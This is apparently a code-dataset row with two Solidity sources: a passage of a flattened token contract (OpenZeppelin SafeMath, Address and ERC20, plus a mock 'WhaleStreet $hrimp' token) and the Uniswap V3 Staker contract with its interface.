* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.7.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/mocks/MockERC20.sol
pragma solidity 0.7.5;
contract MockERC20 is ERC20, Ownable {
// solhint-disable-next-line func-visibility
constructor (string memory name, string memory symbol) ERC20(name, symbol) {}// solhint-disable-line no-empty-blocks
function mint(address account, uint256 amount) external onlyOwner {
_mint(account, amount);
}
}
// File: contracts/mocks/$HRIMP.sol
pragma solidity 0.7.5;
contract $HRIMP is MockERC20 {
// solhint-disable-next-line func-visibility
constructor () MockERC20("WhaleStreet $hrimp Token", "$HRIMP") {}// solhint-disable-line no-empty-blocks
} | True | [
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|
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity =0.7.6;
pragma abicoder v2;
import './interfaces/IUniswapV3Staker.sol';
import './libraries/IncentiveId.sol';
import './libraries/RewardMath.sol';
import './libraries/NFTPositionInfo.sol';
import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Factory.sol';
import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol';
import '@uniswap/v3-core/contracts/interfaces/IERC20Minimal.sol';
import '@uniswap/v3-periphery/contracts/interfaces/INonfungiblePositionManager.sol';
import '@uniswap/v3-periphery/contracts/libraries/TransferHelper.sol';
import '@uniswap/v3-periphery/contracts/base/Multicall.sol';
/// @title Uniswap V3 canonical staking interface
contract UniswapV3Staker is IUniswapV3Staker, Multicall {
/// @notice Represents a staking incentive
struct Incentive {
uint256 totalRewardUnclaimed;
uint160 totalSecondsClaimedX128;
uint96 numberOfStakes;
}
/// @notice Represents the deposit of a liquidity NFT
struct Deposit {
address owner;
uint48 numberOfStakes;
int24 tickLower;
int24 tickUpper;
}
/// @notice Represents a staked liquidity NFT
struct Stake {
uint160 secondsPerLiquidityInsideInitialX128;
uint96 liquidityNoOverflow;
uint128 liquidityIfOverflow;
}
/// @inheritdoc IUniswapV3Staker
IUniswapV3Factory public immutable override factory;
/// @inheritdoc IUniswapV3Staker
INonfungiblePositionManager public immutable override nonfungiblePositionManager;
/// @inheritdoc IUniswapV3Staker
uint256 public immutable override maxIncentiveStartLeadTime;
/// @inheritdoc IUniswapV3Staker
uint256 public immutable override maxIncentiveDuration;
/// @dev bytes32 refers to the return value of IncentiveId.compute
mapping(bytes32 => Incentive) public override incentives;
/// @dev deposits[tokenId] => Deposit
mapping(uint256 => Deposit) public override deposits;
/// @dev stakes[tokenId][incentiveHash] => Stake
mapping(uint256 => mapping(bytes32 => Stake)) private _stakes;
/// @inheritdoc IUniswapV3Staker
function stakes(uint256 tokenId, bytes32 incentiveId)
public
view
override
returns (uint160 secondsPerLiquidityInsideInitialX128, uint128 liquidity)
{
Stake storage stake = _stakes[tokenId][incentiveId];
secondsPerLiquidityInsideInitialX128 = stake.secondsPerLiquidityInsideInitialX128;
liquidity = stake.liquidityNoOverflow;
if (liquidity == type(uint96).max) {
liquidity = stake.liquidityIfOverflow;
}
}
/// @dev rewards[rewardToken][owner] => uint256
/// @inheritdoc IUniswapV3Staker
mapping(IERC20Minimal => mapping(address => uint256)) public override rewards;
/// @param _factory the Uniswap V3 factory
/// @param _nonfungiblePositionManager the NFT position manager contract address
/// @param _maxIncentiveStartLeadTime the max duration of an incentive in seconds
/// @param _maxIncentiveDuration the max amount of seconds into the future the incentive startTime can be set
constructor(
IUniswapV3Factory _factory,
INonfungiblePositionManager _nonfungiblePositionManager,
uint256 _maxIncentiveStartLeadTime,
uint256 _maxIncentiveDuration
) {
factory = _factory;
nonfungiblePositionManager = _nonfungiblePositionManager;
maxIncentiveStartLeadTime = _maxIncentiveStartLeadTime;
maxIncentiveDuration = _maxIncentiveDuration;
}
/// @inheritdoc IUniswapV3Staker
function createIncentive(IncentiveKey memory key, uint256 reward) external override {
require(reward > 0, 'UniswapV3Staker::createIncentive: reward must be positive');
require(
block.timestamp <= key.startTime,
'UniswapV3Staker::createIncentive: start time must be now or in the future'
);
require(
key.startTime - block.timestamp <= maxIncentiveStartLeadTime,
'UniswapV3Staker::createIncentive: start time too far into future'
);
require(key.startTime < key.endTime, 'UniswapV3Staker::createIncentive: start time must be before end time');
require(
key.endTime - key.startTime <= maxIncentiveDuration,
'UniswapV3Staker::createIncentive: incentive duration is too long'
);
bytes32 incentiveId = IncentiveId.compute(key);
incentives[incentiveId].totalRewardUnclaimed += reward;
TransferHelper.safeTransferFrom(address(key.rewardToken), msg.sender, address(this), reward);
emit IncentiveCreated(key.rewardToken, key.pool, key.startTime, key.endTime, key.refundee, reward);
}
/// @inheritdoc IUniswapV3Staker
function endIncentive(IncentiveKey memory key) external override returns (uint256 refund) {
require(block.timestamp >= key.endTime, 'UniswapV3Staker::endIncentive: cannot end incentive before end time');
bytes32 incentiveId = IncentiveId.compute(key);
Incentive storage incentive = incentives[incentiveId];
refund = incentive.totalRewardUnclaimed;
require(refund > 0, 'UniswapV3Staker::endIncentive: no refund available');
require(
incentive.numberOfStakes == 0,
'UniswapV3Staker::endIncentive: cannot end incentive while deposits are staked'
);
// issue the refund
incentive.totalRewardUnclaimed = 0;
TransferHelper.safeTransfer(address(key.rewardToken), key.refundee, refund);
// note we never clear totalSecondsClaimedX128
emit IncentiveEnded(incentiveId, refund);
}
/// @notice Upon receiving a Uniswap V3 ERC721, creates the token deposit setting owner to `from`. Also stakes token
/// in one or more incentives if properly formatted `data` has a length > 0.
/// @inheritdoc IERC721Receiver
function onERC721Received(
address,
address from,
uint256 tokenId,
bytes calldata data
) external override returns (bytes4) {
require(
msg.sender == address(nonfungiblePositionManager),
'UniswapV3Staker::onERC721Received: not a univ3 nft'
);
(, , , , , int24 tickLower, int24 tickUpper, , , , , ) = nonfungiblePositionManager.positions(tokenId);
deposits[tokenId] = Deposit({owner: from, numberOfStakes: 0, tickLower: tickLower, tickUpper: tickUpper});
emit DepositTransferred(tokenId, address(0), from);
if (data.length > 0) {
if (data.length == 160) {
_stakeToken(abi.decode(data, (IncentiveKey)), tokenId);
} else {
IncentiveKey[] memory keys = abi.decode(data, (IncentiveKey[]));
for (uint256 i = 0; i < keys.length; i++) {
_stakeToken(keys[i], tokenId);
}
}
}
return this.onERC721Received.selector;
}
/// @inheritdoc IUniswapV3Staker
function transferDeposit(uint256 tokenId, address to) external override {
require(to != address(0), 'UniswapV3Staker::transferDeposit: invalid transfer recipient');
address owner = deposits[tokenId].owner;
require(owner == msg.sender, 'UniswapV3Staker::transferDeposit: can only be called by deposit owner');
deposits[tokenId].owner = to;
emit DepositTransferred(tokenId, owner, to);
}
/// @inheritdoc IUniswapV3Staker
function withdrawToken(
uint256 tokenId,
address to,
bytes memory data
) external override {
require(to != address(this), 'UniswapV3Staker::withdrawToken: cannot withdraw to staker');
Deposit memory deposit = deposits[tokenId];
require(deposit.numberOfStakes == 0, 'UniswapV3Staker::withdrawToken: cannot withdraw token while staked');
require(deposit.owner == msg.sender, 'UniswapV3Staker::withdrawToken: only owner can withdraw token');
delete deposits[tokenId];
emit DepositTransferred(tokenId, deposit.owner, address(0));
nonfungiblePositionManager.safeTransferFrom(address(this), to, tokenId, data);
}
/// @inheritdoc IUniswapV3Staker
function stakeToken(IncentiveKey memory key, uint256 tokenId) external override {
require(deposits[tokenId].owner == msg.sender, 'UniswapV3Staker::stakeToken: only owner can stake token');
_stakeToken(key, tokenId);
}
/// @inheritdoc IUniswapV3Staker
function unstakeToken(IncentiveKey memory key, uint256 tokenId) external override {
Deposit memory deposit = deposits[tokenId];
// anyone can call unstakeToken if the block time is after the end time of the incentive
if (block.timestamp < key.endTime) {
require(
deposit.owner == msg.sender,
'UniswapV3Staker::unstakeToken: only owner can withdraw token before incentive end time'
);
}
bytes32 incentiveId = IncentiveId.compute(key);
(uint160 secondsPerLiquidityInsideInitialX128, uint128 liquidity) = stakes(tokenId, incentiveId);
require(liquidity != 0, 'UniswapV3Staker::unstakeToken: stake does not exist');
Incentive storage incentive = incentives[incentiveId];
deposits[tokenId].numberOfStakes--;
incentive.numberOfStakes--;
(, uint160 secondsPerLiquidityInsideX128, ) =
key.pool.snapshotCumulativesInside(deposit.tickLower, deposit.tickUpper);
(uint256 reward, uint160 secondsInsideX128) =
RewardMath.computeRewardAmount(
incentive.totalRewardUnclaimed,
incentive.totalSecondsClaimedX128,
key.startTime,
key.endTime,
liquidity,
secondsPerLiquidityInsideInitialX128,
secondsPerLiquidityInsideX128,
block.timestamp
);
// if this overflows, e.g. after 2^32-1 full liquidity seconds have been claimed,
// reward rate will fall drastically so it's safe
incentive.totalSecondsClaimedX128 += secondsInsideX128;
// reward is never greater than total reward unclaimed
incentive.totalRewardUnclaimed -= reward;
// this only overflows if a token has a total supply greater than type(uint256).max
rewards[key.rewardToken][deposit.owner] += reward;
Stake storage stake = _stakes[tokenId][incentiveId];
delete stake.secondsPerLiquidityInsideInitialX128;
delete stake.liquidityNoOverflow;
if (liquidity >= type(uint96).max) delete stake.liquidityIfOverflow;
emit TokenUnstaked(tokenId, incentiveId);
}
/// @inheritdoc IUniswapV3Staker
function claimReward(
IERC20Minimal rewardToken,
address to,
uint256 amountRequested
) external override returns (uint256 reward) {
reward = rewards[rewardToken][msg.sender];
if (amountRequested != 0 && amountRequested < reward) {
reward = amountRequested;
}
rewards[rewardToken][msg.sender] -= reward;
TransferHelper.safeTransfer(address(rewardToken), to, reward);
emit RewardClaimed(to, reward);
}
/// @inheritdoc IUniswapV3Staker
function getRewardInfo(IncentiveKey memory key, uint256 tokenId)
external
view
override
returns (uint256 reward, uint160 secondsInsideX128)
{
bytes32 incentiveId = IncentiveId.compute(key);
(uint160 secondsPerLiquidityInsideInitialX128, uint128 liquidity) = stakes(tokenId, incentiveId);
require(liquidity > 0, 'UniswapV3Staker::getRewardInfo: stake does not exist');
Deposit memory deposit = deposits[tokenId];
Incentive memory incentive = incentives[incentiveId];
(, uint160 secondsPerLiquidityInsideX128, ) =
key.pool.snapshotCumulativesInside(deposit.tickLower, deposit.tickUpper);
(reward, secondsInsideX128) = RewardMath.computeRewardAmount(
incentive.totalRewardUnclaimed,
incentive.totalSecondsClaimedX128,
key.startTime,
key.endTime,
liquidity,
secondsPerLiquidityInsideInitialX128,
secondsPerLiquidityInsideX128,
block.timestamp
);
}
/// @dev Stakes a deposited token without doing an ownership check
function _stakeToken(IncentiveKey memory key, uint256 tokenId) private {
require(block.timestamp >= key.startTime, 'UniswapV3Staker::stakeToken: incentive not started');
require(block.timestamp < key.endTime, 'UniswapV3Staker::stakeToken: incentive ended');
bytes32 incentiveId = IncentiveId.compute(key);
require(
incentives[incentiveId].totalRewardUnclaimed > 0,
'UniswapV3Staker::stakeToken: non-existent incentive'
);
require(
_stakes[tokenId][incentiveId].liquidityNoOverflow == 0,
'UniswapV3Staker::stakeToken: token already staked'
);
(IUniswapV3Pool pool, int24 tickLower, int24 tickUpper, uint128 liquidity) =
NFTPositionInfo.getPositionInfo(factory, nonfungiblePositionManager, tokenId);
require(pool == key.pool, 'UniswapV3Staker::stakeToken: token pool is not the incentive pool');
require(liquidity > 0, 'UniswapV3Staker::stakeToken: cannot stake token with 0 liquidity');
deposits[tokenId].numberOfStakes++;
incentives[incentiveId].numberOfStakes++;
(, uint160 secondsPerLiquidityInsideX128, ) = pool.snapshotCumulativesInside(tickLower, tickUpper);
if (liquidity >= type(uint96).max) {
_stakes[tokenId][incentiveId] = Stake({
secondsPerLiquidityInsideInitialX128: secondsPerLiquidityInsideX128,
liquidityNoOverflow: type(uint96).max,
liquidityIfOverflow: liquidity
});
} else {
Stake storage stake = _stakes[tokenId][incentiveId];
stake.secondsPerLiquidityInsideInitialX128 = secondsPerLiquidityInsideX128;
stake.liquidityNoOverflow = uint96(liquidity);
}
emit TokenStaked(tokenId, incentiveId, liquidity);
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity =0.7.6;
pragma abicoder v2;
import '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';
import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Factory.sol';
import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol';
import '@uniswap/v3-core/contracts/interfaces/IERC20Minimal.sol';
import '@uniswap/v3-periphery/contracts/interfaces/INonfungiblePositionManager.sol';
import '@uniswap/v3-periphery/contracts/interfaces/IMulticall.sol';
/// @title Uniswap V3 Staker Interface
/// @notice Allows staking nonfungible liquidity tokens in exchange for reward tokens
interface IUniswapV3Staker is IERC721Receiver, IMulticall {
/// @param rewardToken The token being distributed as a reward
/// @param pool The Uniswap V3 pool
/// @param startTime The time when the incentive program begins
/// @param endTime The time when rewards stop accruing
/// @param refundee The address which receives any remaining reward tokens when the incentive is ended
struct IncentiveKey {
IERC20Minimal rewardToken;
IUniswapV3Pool pool;
uint256 startTime;
uint256 endTime;
address refundee;
}
/// @notice The Uniswap V3 Factory
function factory() external view returns (IUniswapV3Factory);
/// @notice The nonfungible position manager with which this staking contract is compatible
function nonfungiblePositionManager() external view returns (INonfungiblePositionManager);
/// @notice The max duration of an incentive in seconds
function maxIncentiveDuration() external view returns (uint256);
/// @notice The max amount of seconds into the future the incentive startTime can be set
function maxIncentiveStartLeadTime() external view returns (uint256);
/// @notice Represents a staking incentive
/// @param incentiveId The ID of the incentive computed from its parameters
/// @return totalRewardUnclaimed The amount of reward token not yet claimed by users
/// @return totalSecondsClaimedX128 Total liquidity-seconds claimed, represented as a UQ32.128
/// @return numberOfStakes The count of deposits that are currently staked for the incentive
function incentives(bytes32 incentiveId)
external
view
returns (
uint256 totalRewardUnclaimed,
uint160 totalSecondsClaimedX128,
uint96 numberOfStakes
);
/// @notice Returns information about a deposited NFT
/// @return owner The owner of the deposited NFT
/// @return numberOfStakes Counter of how many incentives for which the liquidity is staked
/// @return tickLower The lower tick of the range
/// @return tickUpper The upper tick of the range
function deposits(uint256 tokenId)
external
view
returns (
address owner,
uint48 numberOfStakes,
int24 tickLower,
int24 tickUpper
);
/// @notice Returns information about a staked liquidity NFT
/// @param tokenId The ID of the staked token
/// @param incentiveId The ID of the incentive for which the token is staked
/// @return secondsPerLiquidityInsideInitialX128 secondsPerLiquidity represented as a UQ32.128
/// @return liquidity The amount of liquidity in the NFT as of the last time the rewards were computed
function stakes(uint256 tokenId, bytes32 incentiveId)
external
view
returns (uint160 secondsPerLiquidityInsideInitialX128, uint128 liquidity);
/// @notice Returns amounts of reward tokens owed to a given address according to the last time all stakes were updated
/// @param rewardToken The token for which to check rewards
/// @param owner The owner for which the rewards owed are checked
/// @return rewardsOwed The amount of the reward token claimable by the owner
function rewards(IERC20Minimal rewardToken, address owner) external view returns (uint256 rewardsOwed);
/// @notice Creates a new liquidity mining incentive program
/// @param key Details of the incentive to create
/// @param reward The amount of reward tokens to be distributed
function createIncentive(IncentiveKey memory key, uint256 reward) external;
/// @notice Ends an incentive after the incentive end time has passed and all stakes have been withdrawn
/// @param key Details of the incentive to end
/// @return refund The remaining reward tokens when the incentive is ended
function endIncentive(IncentiveKey memory key) external returns (uint256 refund);
/// @notice Transfers ownership of a deposit from the sender to the given recipient
/// @param tokenId The ID of the token (and the deposit) to transfer
/// @param to The new owner of the deposit
function transferDeposit(uint256 tokenId, address to) external;
/// @notice Withdraws a Uniswap V3 LP token `tokenId` from this contract to the recipient `to`
/// @param tokenId The unique identifier of an Uniswap V3 LP token
/// @param to The address where the LP token will be sent
/// @param data An optional data array that will be passed along to the `to` address via the NFT safeTransferFrom
function withdrawToken(
uint256 tokenId,
address to,
bytes memory data
) external;
/// @notice Stakes a Uniswap V3 LP token
/// @param key The key of the incentive for which to stake the NFT
/// @param tokenId The ID of the token to stake
function stakeToken(IncentiveKey memory key, uint256 tokenId) external;
/// @notice Unstakes a Uniswap V3 LP token
/// @param key The key of the incentive for which to unstake the NFT
/// @param tokenId The ID of the token to unstake
function unstakeToken(IncentiveKey memory key, uint256 tokenId) external;
/// @notice Transfers `amountRequested` of accrued `rewardToken` rewards from the contract to the recipient `to`
/// @param rewardToken The token being distributed as a reward
/// @param to The address where claimed rewards will be sent to
/// @param amountRequested The amount of reward tokens to claim. Claims entire reward amount if set to 0.
/// @return reward The amount of reward tokens claimed
function claimReward(
IERC20Minimal rewardToken,
address to,
uint256 amountRequested
) external returns (uint256 reward);
/// @notice Calculates the reward amount that will be received for the given stake
/// @param key The key of the incentive
/// @param tokenId The ID of the token
/// @return reward The reward accrued to the NFT for the given incentive thus far
function getRewardInfo(IncentiveKey memory key, uint256 tokenId)
external
returns (uint256 reward, uint160 secondsInsideX128);
/// @notice Event emitted when a liquidity mining incentive has been created
/// @param rewardToken The token being distributed as a reward
/// @param pool The Uniswap V3 pool
/// @param startTime The time when the incentive program begins
/// @param endTime The time when rewards stop accruing
/// @param refundee The address which receives any remaining reward tokens after the end time
/// @param reward The amount of reward tokens to be distributed
event IncentiveCreated(
IERC20Minimal indexed rewardToken,
IUniswapV3Pool indexed pool,
uint256 startTime,
uint256 endTime,
address refundee,
uint256 reward
);
/// @notice Event that can be emitted when a liquidity mining incentive has ended
/// @param incentiveId The incentive which is ending
/// @param refund The amount of reward tokens refunded
event IncentiveEnded(bytes32 indexed incentiveId, uint256 refund);
/// @notice Emitted when ownership of a deposit changes
/// @param tokenId The ID of the deposit (and token) that is being transferred
/// @param oldOwner The owner before the deposit was transferred
/// @param newOwner The owner after the deposit was transferred
event DepositTransferred(uint256 indexed tokenId, address indexed oldOwner, address indexed newOwner);
/// @notice Event emitted when a Uniswap V3 LP token has been staked
/// @param tokenId The unique identifier of an Uniswap V3 LP token
/// @param liquidity The amount of liquidity staked
/// @param incentiveId The incentive in which the token is staking
event TokenStaked(uint256 indexed tokenId, bytes32 indexed incentiveId, uint128 liquidity);
/// @notice Event emitted when a Uniswap V3 LP token has been unstaked
/// @param tokenId The unique identifier of an Uniswap V3 LP token
/// @param incentiveId The incentive in which the token is staking
event TokenUnstaked(uint256 indexed tokenId, bytes32 indexed incentiveId);
/// @notice Event emitted when a reward token has been claimed
/// @param to The address where claimed rewards were sent to
/// @param reward The amount of reward tokens claimed
event RewardClaimed(address indexed to, uint256 reward);
}
